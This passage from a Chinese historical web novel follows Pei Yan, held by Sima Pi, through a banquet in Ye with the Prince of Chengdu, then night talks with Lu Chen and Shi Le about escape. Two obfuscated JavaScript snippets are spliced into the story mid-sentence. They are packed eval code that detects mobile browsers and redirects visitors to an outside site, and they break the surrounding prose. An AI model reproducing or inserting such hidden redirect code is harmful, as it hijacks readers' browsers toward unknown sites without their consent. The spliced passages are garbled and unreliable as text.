卢志与司马毗寒暄毕,转头就见到在一边默默注视着自己的裴妍。尽管这个小女郎一身素服,脸上脂粉未施,但看这份容貌与气度,当是那位令东海王府与凉州刺史府争相抢夺的佳人——裴府元娘了。 听他提起叔父的字,语气中透着熟稔,裴妍有些意外:“府君识得我从父?” 卢志眼底眸光微暗,长长地叹了口气:“少年时我与你叔父曾把臂同游关中。与之长安一别,已二十又一年矣!”他看了眼裴妍,摇头沉痛道:“没想,竟永无再见之日!” 裴妍也有些伤感,原来他是叔父的故友,交情多深谈不上,毕竟叔父在京城为官多年,也未见他与家里有什么走动。但像叔父这么好又这么有能耐的贤人,却死于赵王的阴谋诡计,多少会让人唏嘘。 渡口风大,不宜久待。卢志赶紧让出道来,请诸位先行,自己陪行在侧。渡口到城门还有段路要走,司马毗是来过的,但裴妍却是第一次来。卢志正好为裴妍介绍沿途风物。 裴妍老早被请上了牛车。可她很喜欢卢志的解说。于是她特地拉开牛车的槅门,脑袋趴到窗边来听。 这时,一个人影出现在郭外的密林处。那密林长在一片土坡上。自坡顶往下看,可将附近一切尽收眼底。那人冷眼瞧着这支浩荡的队伍缓缓驶过。直到见到裴妍钻出车窗的小脑袋,他似乎有些震惊与疑惑,握着缰绳的手微微收紧…… 邺城在漳水南岸,曾是三国时曹魏的都城。 裴妍的牛车随着诸人自永阳门入城。在城门口就能见到远处一座十丈高台,待走近些,才发现其上楼宇殿阁,不计其数,雕梁画栋,极尽奢妍。其南、北分别还有两座高台,形制稍矮,亦颇具规模。三座高台一字排开,并列耸峙,三台之间用像浮桥一样的阁道相连。远远看去,好似三座庞大的仙山,俯瞰黎民。 “中间这座就是铜雀台,南、北分别是冰井台和金凤台。” 司马毗不知何时骑马行到裴妍身边。他一手执缰,一手拿着马鞭,指着前方三座高台为裴妍一一介绍。 裴妍自是听说过铜雀台的。她抬头,眯眼打量着正中间这座气势恢宏的高台殿宇,想象着八十多年前,她的先祖就是在这里与建安诸子交游饮宴。大名鼎鼎的三曹就是在这座高台上挥毫泼墨,政令、诗文,皆从此地传出,指点江山,激扬文字,那时的铜雀台是何等风光!就是如今的铜驼大街都不及当年万一! 邺城不大,不过一盏茶的功夫,牛车便行到台下,诸人都停了下来。 一行人早已等在那里。当中为首的年轻人一袭缃叶深衣,头戴金冠,剑眉星目,玉面含春,丰神俊朗,是长成后的成都王。 见到司马毗后,成都王含笑上前,二人熟稔地互礼寒暄。 裴妍扶着秋水的手下得车来。 “大王安好!”裴妍盈盈行颔首礼。 成都王却在裴妍抬起头的一刹那,有一瞬的惊艳。他记得他还是几年前,在始平公主的赏梅宴上见过裴家姊妹。那时的裴妍还是个稚龄女童,没想到如今都长这么大了,还这么的——绝色! 成都王身后是王妃乐氏,乃前尚书令乐广之女。见状,赶紧拉拉自家夫君的衣袖。 成都王这才回神,故作亲切地道:“这是元娘?都这么大了,可见吾等老了!”裴妍的二嫂始平公主是成都王的亲侄女,这么算,裴妍比他要晚一辈。 “大王快别这么说,我比你还年长两岁哪!”司马毗适时玩笑。 想到司马毗与裴妍的风流事,成都王会心一笑,赶紧延请诸人登台。 乐王妃亲自牵着裴妍的手,引她上阶。 成都王的品阶远在司马毗之上,却亲自来迎,可谓给足东海王面子。 于是宾主不管内里是何等心思,皆说笑着登台赴宴。 69. 长恨人心不如水,等闲平地起波澜…… 乐王妃不愧是名士之女,长相虽不算惊艳,却自有明丽气度,瞧着比裴妍大不了几岁。 裴妍被她牵着时,觉得她的手异常柔软。 乐王妃带着她边走边指点两边的风景,声音温润,不疾不徐,令人心生好感。 “妹妹年岁几何?”乐妃含笑问道。 “去年将将及笄。” “我虚长妹妹两岁。妹妹不嫌弃,唤我阿姊好了。” 按照裴妍的二嫂始平公主的辈分算,她该唤乐氏一声婶婶。可乐妃却要她叫姊姊,显然是按照司马毗那头算的。 她不动声色地看着前面相谈甚欢的两个年轻诸侯,不禁有些好奇——成都王知道自己是被掳来的吗?司马毗高堂俱在,却要拉着她在邺城成婚,成都王不觉得奇怪吗?他就不怕东海王和凉州刺史怪罪? 筵席是早就备好的。裴妍与成都王亦沾亲,是以没有男女分席。 司马毗此行不好宣之于众,故而宾客不多,仅邺城令一家而已。 成都王与王妃自是南向上首。司马毗是主客,裴妍和他一起并列贵宾首席。 对座为邺城令卢志夫妇,末座是他们的长子——传说中为荥阳公主守身至今的卢谌。 裴妍有些好奇地看向斜对面的这位仁兄。他约摸与大兄同龄,身量不高,不过仪态很好。一身软翠宽袍,领口微敞,露出修长的脖颈,发未簪冠,仅以一条兰苕绸带将将约束。桃花眼微微上翘,一把轻巧的便面当风,看到裴妍注目自己,亦饶有兴致地微颔还礼,好一个风流做派。 裴妍收回目光。她不禁怀疑,这人真是为了荥阳公主守身?还是单纯地不想找个世家妇管着自己? 成都王与司马毗自有话聊,乐妃则专拉着裴妍问东问西。 卢志的夫人出自太原王氏,是裴妡未婚夫王承的堂姑母。她看到裴妍,亦很亲热。 裴妍面上带笑,不卑不亢,有一答一。若是过去的她,或许会想着向在座的这些故旧哭诉求助。然而,经了这么多事之后,她知道,如今这些人肯对着她这个失了势的孤女和颜悦色,不过是因着司马毗对她的看重罢了。 救她?痴人说梦呢!莫说这种拐了弯的姻亲,就是本家那些族人,不也在大难临头时,将她家当烫手的山芋,毫不留情地给祭了出去? 说不定,在座的这些人,还觉得司马毗才是有情有义的那个。毕竟像她这样失了家主庇护的孤女,早没了联姻的价值! 酒过三巡,成都王司马颖脸上略有醉意。偏室一直响着丝竹雅乐。一曲终了,他微微晃着酒觞,对台下陆续退去的舞女不满地摇头:“终不及当年的《明妃舞》!” 乐妃脸色一变,宴上的歌舞都是她精心安排的,大王竟不满意? 其他人不明其意,裴妍与司马毗却是当年赏梅宴的看客之一,见识过韩芷那惊鸿一舞。 这话司马毗亦赞同。这么些年有韩芷珠玉在前,他确实再没见过更好的,不禁感叹了一句:“可惜了!” 成都王亦喟叹,二人互相又进了一杯。 贾家是逆臣,二王与贾家亦有过节,对他家的覆灭只会乐见其成,对韩芷又能有多少怜惜?所叹的不过是以后再见不到佳人献舞罢了! 裴妍却忍不住红了眼眶。她想起当年那个且歌且舞的明媚女子,就在前不久枉死在了佞臣的刀锋之下。而那些曾经欣赏过她的美貌与舞姿的人,只会在茶余饭后,偶尔提起时,假惺惺地感叹一句“可惜”而已。 她突然心气不平起来,不仅仅是替韩芷不值——一个人,从呱呱坠地,到垂髫童子,到少年意气,到长大成人,中间要历经多少事?遭遇多少磨难?就拿韩芷的《明妃舞》来说,这不长的明妃五弄背后不知付出了多少艰辛,才能有这般动人心魄的气候。可到了这些看客眼里,大多当了消遣。更要命的是,一着不慎,身死魂消。管你生前吃了多少苦,有多大能耐,死了就死了,一抔黄土而已,所得不过故人的一声叹息。 就像卢志之于叔父,比起成都王和司马毗之于韩芷,又高明多少? 她默默地饮下一杯水酒,以手撑额,冷眼注视着场中诸人。 也不知在座的这些人手里,有多少人命?杀的人里,有多少个韩芷?多少个叔父? 仁心仁术?存家善根?终不及引绳批根,雕心雁爪! 彼时年少,未觉有异。今日再看,当初赏梅宴上诸客,可谓沉浮俯仰,大起大落。 曾经横跨清流与外戚的自家,叔父身死,阖家流亡,黯然离场; 曾经烈火烹油的贾家,一朝倾覆,满门抄斩,功亏一篑; 曾经指着联姻贾家与太子的琅琊王氏,靠山皆倒,就连王导也束手无策。 反倒是曾经被贾家强压一头的成都王,以及被贾后赶出京城的东海王府,如今却终于扬眉吐气,得见天日,现在又强强联手,所谋甚大。 还有……曾经甘陪末座的茂郎,如今已是手握雄兵的凉州刺史之子。 黄铜酒觞贴着耳边,裴妍歪头笑起来,这大概,是唯一让她欣慰的事吧? “阿妍?”司马毗见她痴笑,忍不住轻声唤她。 酒入愁肠,醉意难解。她不愿旁人看到她失态,以更衣为名,到殿外透气。 司马毗正与成都王畅饮,便由她去了。倒是一直陪侍末座的卢谌不多时亦默默退了出去。 今晚的夜色格外浓稠,大殿四角虽燃着巨大的亭燎,亦只能照亮一角。 殿外是一圈红漆围栏,裴妍俯趴在栏柱上,远眺着台下的万家灯火愣神。北地的晚风带着干燥的凉意,倒让裴妍清醒了几分。 “不在殿中欢饮,反倒来此处赏月,元娘好兴致!” 裴妍转头,见是那位卢谌卢大郎,有些意外,又有些了然。她对他微微颔首。 今晚浓云密布,连星星都不见几颗,哪来的月可赏? “卢郎君不也在这里喂蚊子吗?” 似乎为验证她的话似的,裴妍语音刚落,卢谌就一巴掌拍在自己脸上,再抬手,手心处赫然一只带血的大花蚊子。 他瞪大眼睛,故作惊奇地道:“这蚊蚋居然也知怜香惜玉?舍不得咬元娘,便来叮我?” 裴妍被他逗笑了。她举起腰间的香囊:“这是皇甫神医配的,专为驱虫用。我知道秘方,回头抄了叫婢子给你送去。” 卢谌莞尔,大方拱手:“多谢元娘美意。谌却之不恭。” 他扇着便面,一边驱蚊,一边状似无意地道:“听阿母说,五日后便是元娘与世子的吉日,谌还未恭贺元娘。” 裴妍未答,眉梢微挑,有些探究地看向他。 这个人,他究竟想做什么?她被司马毗强掳来的事,于旁人或是秘密,于他这个成都王心腹之子,当是再清楚不过的。 “郎君说笑了。非吾所愿,谈何喜字!不过是,任人摆布罢了。” 既然不是秘密,她就直说了。 卢谌听罢,点头道:“果然如此!” 未等裴妍开口,就见他突然收起笑意,面色一肃,勾人的桃花眼也耷拉下来。他郑重地朝裴妍行了一礼,沉声道:“若元娘不弃,谌虽力薄,但凭差遣。” 裴妍吓了一跳,赶紧避开去——大礼可不是随意受的! 她不解地看向他,“你……你为何……” 卢谌没有回答她,而是同样面朝台下的万家灯火,与她讲起另一桩事。 “我幼时常随阿母入宫看望姑母与表妹……” 裴妍这才知道,原来荥阳公主的母亲是卢贵人,也是卢谌的姑母。他和公主是嫡亲的表兄妹。 “我与公主自幼两情相悦。可惜,姑母病故后,她也一病不起,未及及笄,竟天人永隔。” “我听二嫂提起过。所以,荥阳公主走后,你便再未娶亲?”裴妍想了想,道:“可这与我有什么关系?总不会因为我二嫂是公主的侄女,你便爱屋及乌吧?”这也扯得太远了些。 卢谌苦笑,手伸向半空,接住一片飞落的竹叶,娓娓道:“她少年而觞,本没有名号。她的父亲,兄弟亦早忘了她,好似京城从来没有这个人,宫里从来没有这个公主。总得有个人,替她讨点什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132680|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让大家都记住她吧?” 讨点什么?裴妍懵懂。公主都走了,又能讨到什么呢? “于是,我甫一入仕,便上书先帝,为公主请封号,以出嫁女的身份,入我卢氏宗祠。” 原来荥阳公主的封号是卢谌讨来的!她还以为天家公主生来就有尊号与封地供养呢! 这倒不怪裴妍孤陋寡闻。自她有记忆时,贾后就已独揽大权,所得公主俱早早晋封,就连唯一早夭的女儿,也得了哀献皇女的殊荣。至于长一辈的公主,更是早已开府下降。她哪里见过没有封号的公主? “今上应了?” 卢谌摇头,“起初,皇后没有同意。” 那荥阳……怎么来的? “是裴郡公,替公主向贾后陈情:‘后亦有幼女,岂不能同理及人乎?’贾后于是赐下懿旨,荥阳公主,这才有了名号。”卢谌转身,脸上是毫不遮掩地感激,他再次朝裴妍行大礼。 “如此,百年之后,史家工笔,亦能留下她的一点痕迹。” 这回,裴妍没有规避。她知道,她是替叔父受了这一礼! 她内心激荡,眼角隐含泪意。于叔父而言,一次无心的成人之美,于卢谌而言,却是对故人最大的缅怀! “成都王与世子交好,你帮了我,就是背叛你们大王,你可想好了?” 卢谌却摇头:“非其有而取之,非义也。大王助非义,士可谏。1” 裴妍听罢,心有触动。人心幽微,有人为权势,机关算尽,不择手段,亦有人为忠义,舍身成仁,持正不阿! 她转身,亦郑重地朝卢谌躬身行了一礼,这回换卢谌诧异的避过身去。 “我的叔祖,也是我的蒙师。他常教我君子当遏恶扬善,顺天休命。这些天,我经历了很多不好的事,差点忘了这话。” 裴妍抬起右手,指着亮如白昼的大殿,“就在方才,在大殿上,我看着得胜者觥筹交错,心里恨到极点,甚至差点走上另一条路。是你,让我重新想起老师的话,把我拉了回来。多谢!” 卢谌不意裴妍有这样坦荡的心胸。他之前投桃报李,是为裴頠之恩,如今,却是对裴妍这个女郎,多了几分敬意。 他有些笨拙地回礼,问计道:“东海王世子与大王约定,五日后行亲迎之礼。女郎将以成都王义妹之身归家。我欲在此时李代桃僵,由婢女代女郎出嫁。女郎意下如何?” 裴妍迟疑了片刻,却道:“你的好意我心领了。但我不想这样做。” 卢谌拧眉,感到有些意外:“女郎有何顾虑?” 她摇头:“我嫁不嫁东海王,都不会有性命之忧,但我一旦出逃,那个帮了我的婢女,却是活不成了。” 裴妍经历过东郊惨案,眼见着那些跟随她多年的婢子、部曲死于刀下。她实在不愿意再有人因她而遭杀身之祸。 “何况,既是婚礼,如何能没有娘家人?几日前,世子已派人向我家报信。说不得,他们已经在半路上了。” 裴妍笃定道:“等他们到了,必会设法救我!” 卢谌见她另有打算,不再强求:“女郎有用得上某的地方,尽管开口!” 裴妍点头,面上不显,心里却有些忐忑。凉州距此何止千里,不知张茂赶不赶得及?他若回不来,张大郎可有办法救她? “阿妍!” 裴妍回头,见司马毗扶墙而出,有些踉跄地向她行来。 见到卢谌也在此,司马毗有一瞬的愣怔。 “你怎么出来了?”裴妍上前。 司马毗却朝她伸出手来。 裴妍顿了一顿,终是握住他的手,顺势扶住他。 司马毗满意地一笑,却在见到卢谌时,剑眉微蹙,疑心暗起。 卢谌朝他一礼,光风霁月地解释:“某来此醒酒,不想偶遇元娘。” 司马毗未搭话,只点头致意,复拉着裴妍往回走。 “酒宴快结束了,你总得与你的哥哥嫂嫂打个招呼!” 裴妍脚步微顿,想起方才卢谌的话来。看来这干亲,她不认也得认了! 70. 直道相思了无益,未妨惆怅是清狂 “阿兄,阿嫂!” 裴妍恭谨地向成都王与乐王妃行颔首礼。夕岚色的襦裙领口微敞,露出一段白嫩若天鹅的脖颈。 “好妹妹!”乐妃笑意盈盈,从手腕上卸下一只鲜妍如血的珊瑚嵌珠镯,套在裴妍凝脂的手上。于是裴妍的腕间霎时红的地方极红,白的地方极白,连一向自诩持重的成都王都忍不住多看了几眼。 卢志的夫人王氏适时捧场:“也就王妃与元娘这样能掐出水的女子方敢戴这样亮色的镯子。我只盼着海里能多长出些,好戴在二位贵人身上,让我等多饱眼福。”一席话捧得乐王妃很受用。 筵席结束,宾主尽欢。时辰已是不早,司马毗牵起裴妍的手,与诸人告辞。 乐妃给二人准备的客室在金凤台上。从铜雀台过去,需经过一段浮桥一样的阁道。 裴妍经过阁道时,恰迎面行来一队提灯的黄门,见到贵人,赶紧战战兢兢地避让到一边躬身行礼。 裴妍扶着司马毗往前行了几步,突然停了下来。她回身看去,那队提着灯的黄门已然起身离去,好似一尾移动的游蛇。 司马毗亦停下脚步,突然问她:“卢大郎与你说了什么?我看他离席很久。” 裴妍摇头:“我也是更衣回来时才遇上的他。旁的倒没什么,就是感慨了一番他对公主的深情。” “呵!深情?阿妍还是天真!”司马毗嗤笑,他拍着裴妍的手与她讲古:“卢志一脉本是范阳卢氏的嫡枝,却受旁系压制,自曹魏衰败至今,一连三代,朱紫公卿无一人出自他家。好不容易因着卢贵人的裙带,出了个驸马都尉,自舍不得丢了这尊荣。” 裴妍没有反驳,她知道,这也是大多数人的想法。甚至可能卢谌的父母,也是这样认为的。至于卢谌自己的感受,反而没人在意——说了也没人信。 夜风撩起裴妍的散发,一缕青丝飘过司马毗的鼻尖,带起阵阵忍冬香气。 司马毗酒气上涌,忍不住往裴妍身上靠了一靠。 “阿妍,我喜欢你身上的味道。” 裴妍想拿手肘撑开他,却抵不过成年男子的重量。 秋水和另一个成都王府的婢子一左一右默默地打着风灯,在前面引路。 她咬牙,踉跄着架着他前行。 “还有多远?”裴妍问。 那成都王府的婢子躬身道:“不足百步。” “快了!”裴妍深吸口气。 司马毗一只胳膊揽在裴妍肩上,头埋在她的颈窝里,还不要别的婢子帮忙,全赖裴妍一人扶着。不过百步的路,裴妍走得满头大汗。 好不容易进了客室,裴妍一把将司马毗推到榻上就要离开。 不料腰间突然一紧,原是司马毗拽住了她的霄尾,一个使力,裴妍来不及尖叫,天翻地覆间,就已到了他的身下。 外间那些婢子见状,都懂事地退了下去。 “你走开!”裴妍恨恨地推他。 司马毗却一只大掌将她牢牢地禁锢住,另一只手缓缓抚上她的脸颊,眼底泛红,嘴角擒笑,柔声道:“阿妍,五日后,就是你我的良辰。”他对着她的额头亲了一下,带着志得意满的傲气,“你终是跟了我。旁人,想都别想!” “这里就你一个,哪里来的旁人?”裴妍躲么躲不过,推么推不开,再不敢乱动,只好先顺着他的话讲。 “我家阿妍是绝世美玉,见过的男子无不拜服。”他自顾自地说着,手背轻轻拂过她的额头,到鼻尖,到樱桃小嘴,最后停在了那里。 “就连成都王,呵!”司马毗的手指描摹上裴妍的唇角,凤眼微眯,闪过一抹厉色,“心里也不干净!” “别瞎说,成都大王素有贤名,又刚认了我做义妹……” 司马毗却吃吃笑起来:“那是他所求更大。”他摇头,翻身倒在一边,喃喃道:“你还小,不懂男人。世上哪有什么真贤良,剖开衣冠,里面不定多少蝇营狗苟,也就哄哄你这样的小女郎罢了!” 裴妍一朝得赦,上方空气瞬间清爽起来——她快被司马毗满身的酒气熏死了!她赶紧坐起来,却见司马毗侧身躺着,手按在腹部,眉头微蹙,似忍着极大的痛苦。 她本不想管他,但下床没两步,到底于心不忍——怎么说,也是一起长大的。 她坐回榻边,轻轻推他:“你这是喝了多少?身上不舒服?” 司马毗不答,他确实腹部疼痛难忍,头上隐隐冒着冷汗。这几日他舟车劳顿,又没日没夜地处理公务,方才宴上还被成都王劝着吃了不少水酒,就是铁打的身子也撑不住啊! 以前酒量不是好得很,今天反倒不行了?磨人! 裴妍腹诽,赶紧去案上给他倒了杯温水。 她回身上榻,将司马毗翻过身来,扶起靠在隐囊上,又拿帕子拭去他脑门上的汗,将水杯递到他唇边。 司马毗从善如流地就着裴妍的手喝了几口。温水下肚,他略缓了过来,顺势握住裴妍端水的手,放在心口:“许是吹了风,这酒吃得一点也不舒坦!” “哎,水撒了!”裴妍把手硬拽出来,“活该,让你贪杯!” 司马毗松开手,拍拍她的发顶,教她:“你不是男子,不常在外行走。需知酒是好媒,说话前吃两杯,就是性情中人吐真言。不想说话的时候来两盏,倒地就能装醉,天子也拿你无法。若有那想打杀之人,借着酒劲敲打一通,醒后推得一干二净,谁还能跟醉鬼较真?” 哦!裴妍一边与他拭汗,一边腹诽,那你现在算哪种?酒后吐真言? “阿妍,”司马毗柔声唤她,凤眼微垂,语调喑哑,带着一丝卑微的乞求:“就这样陪着我,好不好?” 裴妍低头,没有应他。她不知道他说的是今晚,还是以后漫长的日夜。 司马毗却将她手里的帕子夺过去,放到榻边的案头,继而将她的两只小手握在自己的掌心里。 “你我自小一起长大,不管你拿我当兄长,还是丈夫,我都会对你好的。我们,一定不会活成我们父母那样。” 裴妍这回没有抽回手,她觉得司马毗的手心湿暖,隐隐带着汗意,不知是不是热的。 她的父母……不用细说,她母亲为冲喜嫁与父亲,不到两年,父亲就走了,连自己都是遗腹子。至于司马毗的父母,她抬头,迟疑道:“东海王与姑姑?” 司马毗苦笑:“你幼时虽常来家里,但彼时年龄小,没注意到我阿耶和阿母的关系。他们,算是怨偶,互相看不上彼此,大半辈子了,一直如此。 “怎么会?我一直以为……”裴妍瞪大眼睛。王妃姑姑在她面前素来巧笑嫣然,处理起府里事宜则雷厉风行,整个王府被她收拾得仅仅有条。在打理庶务上,即使能干若二婶,在裴妃面前亦甘拜下风。 司马毗不语,低头握着裴妍的手松了又紧,紧了又松,良久,抬头道:“于父亲而言,母亲与他的谋臣没有两样。于母亲而言,父亲与府里的长史亦无分别。” 竟是如此……裴妍长长地叹了口气,为她的母亲,也为姑姑。 可是,她抬头,对着司马毗欲言又止。她心悦的人是张茂。她并不喜欢他。那他俩在一起,比之父辈,又能好到哪里去呢? “阿妍,我接下来的话,或许会让你心中不喜。但我还是要说——那张二郎,实在不是良配。”司马毗似乎能看穿她所想,接着道:“即便他阿耶被拜为凉州刺史又如何?他是家中次子,家业终是他兄长的。” “次子好呀!闲云野鹤的。你就是长子,累成什么样了?”裴妍反驳。 “呵,”他摇头,一双丹凤眼早褪去了醉意,清凌凌地看向她,“张二郎若是碌碌无为之辈,次子也就罢了。可他……”尽管不甘,司马毗不得不承认,“木秀于林,风必摧之。” 裴妍正欲驳他,却听司马毗又道: “何况,阿妍,你这样的容色……”他顿了顿,目光自她娇柔的脸上掠过。 裴妍双颊一红,别过头去。 “唯有权势方能护住。一个没用的次子,保不住你。一个有用的次子……”司马毗缓缓凑近,眼里是赤裸裸地讥讽:“要么更进一步,弑兄夺位。要么,死无葬身之地!” “瞎说!”裴妍大骇,挣扎着抽出手来,指着他的面皮,斥道:“你自己兄弟不和,看别人家的也尽是如此。可实际上呢,张家兄友弟恭,敦睦得很,才不是你想的那样!” 司马毗却不以为忤。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138624|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠回隐囊,似笑非笑地看向她:“那是他家根基未稳,尚需兄弟合力罢了。阿妍,你心里清楚得很,没有哪个男子舍得放下到手的权势,除非是痴子。” 裴妍低头,手指狠狠交缠在一起,对司马毗的话不置可否。她早已不是过去的她了。不管别人说什么,她会有自己的思考。对于那些还没有发生的事,她不愿意用小人之心去拆解。不管是对张茂,还是才认识一天的卢谌。她始终觉得,看一个人如何,要长久的观其言察其行,而不是光听旁人猜测,这样才公允! 话不投机,裴妍见司马毗也恢复得差不多了,赶紧起身道:“夜深了,你好好休息!” 司马毗看着她逃也似的走了,眼中难掩落寞。他靠回隐囊,疲惫地捏了捏眉心。 五日后便是阿妍和他的婚礼。他已分别给父王和母亲去信。 他母亲虽斥他胡闹,但从捎来的厚礼来看,只怕求之不得。不过是碍于情面,怕郭姨怪罪,这才回避不来罢了。 至于父亲,据府里人讲,倒是大怒了一阵。但听说是成都王主婚、裴妍要以成都王义妹的身份出降后,竟也默许了。 他知道,父亲一直想拉拢成都王与河间王,只是苦于没有契机。而成都王志在节钺,未尝没有拉拢父亲与琅琊王的意思——他请求成都王认裴妍为义妹时,成都王想都没想就答应了。 如此,司马毗阖起双眸,缓缓吐出一口浊气。他借着和阿妍的婚事,替两头牵了线,传到京里,也不过是一桩风流事罢了,正好打消赵王的猜忌…… 裴妍的厢房就在隔壁。她有些气闷地回到房里。刚坐下,就闻到自己身上一股汗味。 北地的初夏还算清凉,可她身上还是出了不少汗。这几日一路颠簸,虽日日在船上,却没有多少净水给她沐浴。 她想今晚定要好好泡个热水澡解一解乏,也顺便想想对策。于是让秋水吩咐屋外的仆婢去烧水,自己则在内室等着。 她一手托腮,瞧着桌上明灭的烛灯愣神。一会想起司马毗的“木秀于林,风必摧之”,一会又是他的“死无葬身之地”……裴妍把头埋在臂弯之间,手指抓着头发,扯了又扯——司马毗个混账!自己家兄弟不省心,看别人家的,也尽是狼子野心。其实全然不是这么回事! 裴妍正纠结着,突然听到窗棱一阵异动。 她警觉地站起,一边缓缓拔下蜡烛,将烛台的尖刺护在身前。一边盯着窗台,随时准备喊人——她也确实这么做了。 下一瞬,却立刻捂住了嘴! 只见五大三粗的石勒穿着一身不合时宜的黄门服饰,分外别扭地出现在她的窗前。 双方都有些愣怔。 裴妍惊奇地看着他:“怎么是你?”原来方才她在阁道上没有看错!她经过那队黄门时,原本俯着身的他突然抬头看了她一眼。他那胡人的五官,实在扎眼。若不是他站在那帮黄门的队尾,又紧紧低头跟着,只怕早被发现啦! 裴妍想到石勒在东海王府当差,便以为他是来寻司马毗的,没好气地赶人:“你家世子住隔壁,你翻错窗啦!” 石勒回过神来,有些尴尬地摸摸鼻子,对她道:“某……我是来找你的。听世子的手下说,你是被他……掳来的?” 裴妍惊奇地问:“你不是东海王府的人?竟不晓得这事?” 石勒皱眉,解释道:“自你出京后,我便辞去东海王府的差事,来邺城投奔故友。不想在城外偶然见到了你。正巧世子的部曲里有我以前的手下,这才知道发生了这事。” 他怕裴妍不信似的,特意张开双臂转了一圈,一脸委屈地道:“我若还是王府的人,来见世子,何以打扮成这副模样?” 也是!裴妍点头。 恰此时,门外传来秋水的扣门声:“女郎,热汤烧好了,抬进来么?” “哎?”裴妍这才想起,自己方才要沐浴来着! 一时间,四目相对,双方都有些紧张! 裴妍本想让她们回去。可转念一想,司马毗就在隔壁,她让人烧好了热水,却突然不要了,只怕会惹得那位猜疑。 她示意石勒躲到榻上的帏帐后面,自己闭上眼睛定了定神,这才对外面道:“进来吧!” 71. 远芳疑似故人来,为谁风露立中宵…… 内室有一个半人高的浴桶。秋水带着一队壮硕的婢子应声而入,鱼贯往里倒水。于是本就焐躁的室内更加热气熏人。 秋水又想伺候裴妍更衣。裴妍赶紧摇头,借口司马毗酒醉胃疼,劳她去厨下看看有没有醒酒汤送过去。 等人都撤走了,她才呼出口气,对着氤氲的浴桶发呆。 石勒从帏帐后跳出来,有些尴尬地站在榻边。 “你来找我,有事?”裴妍一手扶着浴桶边沿,一手有一下没一下地撩着表层的热水问他。浓雾似的水汽将她的云鬓染湿,清泠泠的水花自她白嫩的指尖浮出,沿细嫩的小臂一溜滑到臂弯,滚进夕岚色的大袖里,扰乱了旁观者的心。 石勒只觉喉间一紧。他本想说,看到她被掳,他很是担心。可话到嘴边,他低垂的目光突然在身侧的榻上停住,只见石蜜色的褥子上赫然印上了几个黑黢黢的大脚印。他有些尴尬地看着自己沾着泥泞的、脏污不堪的靴子,只恨自己方才躲上床时未注意分寸,竟连着鞋就上了榻,生生污了元娘的床。 他的脸上瞬间热辣辣的。浴桶里的水汽云蒸雾绕,犹如一道无声的屏障,硬生生将他与裴妍隔在了两边。 他突然意识到,什么担心之类的屁话,他心里想得,嘴上却说不得! 可是,就这么回去么?他背在身后的铁拳松了又紧。终是,不甘心啊! 于是他听自己道:“元娘若想逃,我的发小忝为王府帅牧,或可帮忙。” 帅牧只是管马的小官。 裴妍抬起雾蒙蒙的眸子看向他:“你刚来投奔故友,就要他为我送命?” 石勒摇头,把之前与好友的打算和盘托出。 “成都王是汉人诸侯,表面礼贤下士,实则仍以胡人为走狗,终不是正主。我们本就商量着北上碰碰运气。” 北上?裴妍微微蹙眉。她不知道北边主事的是谁,但她知道最近五胡动乱,北地很不太平。张茂前一阵就是在忙这事。 “你要投靠胡人?” 石勒抬头看她,嘴角泛着一丝生硬的苦笑,语气有些不自然:“谁让我也是胡人。” 裴妍点头,对此没有太多纠结。她见识过京城的贵人们对胡人的鄙夷态度。石勒一身本事,当个马奴确实可惜,他那朋友想来也是如此。 “那你更该离我远些。司马毗就住隔壁,里外全是他的人,救我谈何容易?你还是早些和你的朋友离开吧。” 石勒低头沉吟一阵,对她道:“我在东海王府多年,与世子身边的部曲有几分交情。他们对我没有防备,或可一用!” 用?怎么用?裴妍后背生凉。利用熟人的信任,来帮助自己?事后呢?这些人会如何?司马毗身边的这些部曲,有不少她是相熟的,也算是儿时的玩伴。 石勒看出她的犹疑,心道元娘还是心软,于是解释道:“他们大多是东海王府的家生子,父母都是王爷和王妃身边的心腹。即便犯了错,世子也不会拿他们如何。” 这确是实话。庙小妖风大,水浅王八多。别看只是一个小小的东海王府,里面依然水深得吓人。像他这样外来的胡人,拼尽全力,也不过在王府混了个小小的队正,稍有错处,就要被长史揪住好一顿训斥。而那些府里的家生子,生来就有人背书,稍长就被安排到世子身边,与小主人一起长大,感情自是不同。 裴妍略放下心来,能兵不血刃地溜走,自是再好不过。只是…… 她看了眼石勒,摇了摇头,又想起东郊别院的那些婢子和部曲来:“你武艺超群,你的朋友想来也是英勇之辈。但王府人手众多,你们毕竟势单力孤。我万不想因我之故,连累了你们!” 她在担心他?石勒心底忽而升腾起一股暖意。好似当年地窖中那个处处为自己担忧的小女郎又回来了! “勒能以良民之身,倚本事立世,全赖元娘回护。岂有知恩不报之理?” 报恩?又一个要报恩的! 裴妍看了他一会,笑笑不语。她转过身,面朝大开的窗外,只见本就黯淡的空中层层阴云低垂,有落雨之兆。 “我在儿时无意中释了你的奴籍。多年前,你在东郊舍命救了我。我俩已经两清了。” 她回身看向他,眼里一片清明:“我不愿白白欠人情。先说说你要什么?我若能给,再谈其他。” 这下换石勒愣住了。她没想到当年那个遇事六神无主、只会躲在他身后哀哀哭泣的小女郎,如今居然可以在逆境中如此淡然自若。不过几年而已,她的躯壳里像换了个芯子似的——他万没想到裴妍能有这样的定力! 可是,他能向她要什么呢? 石勒沉沉看向她。他要的,不管是人,还是权,她都给不了! 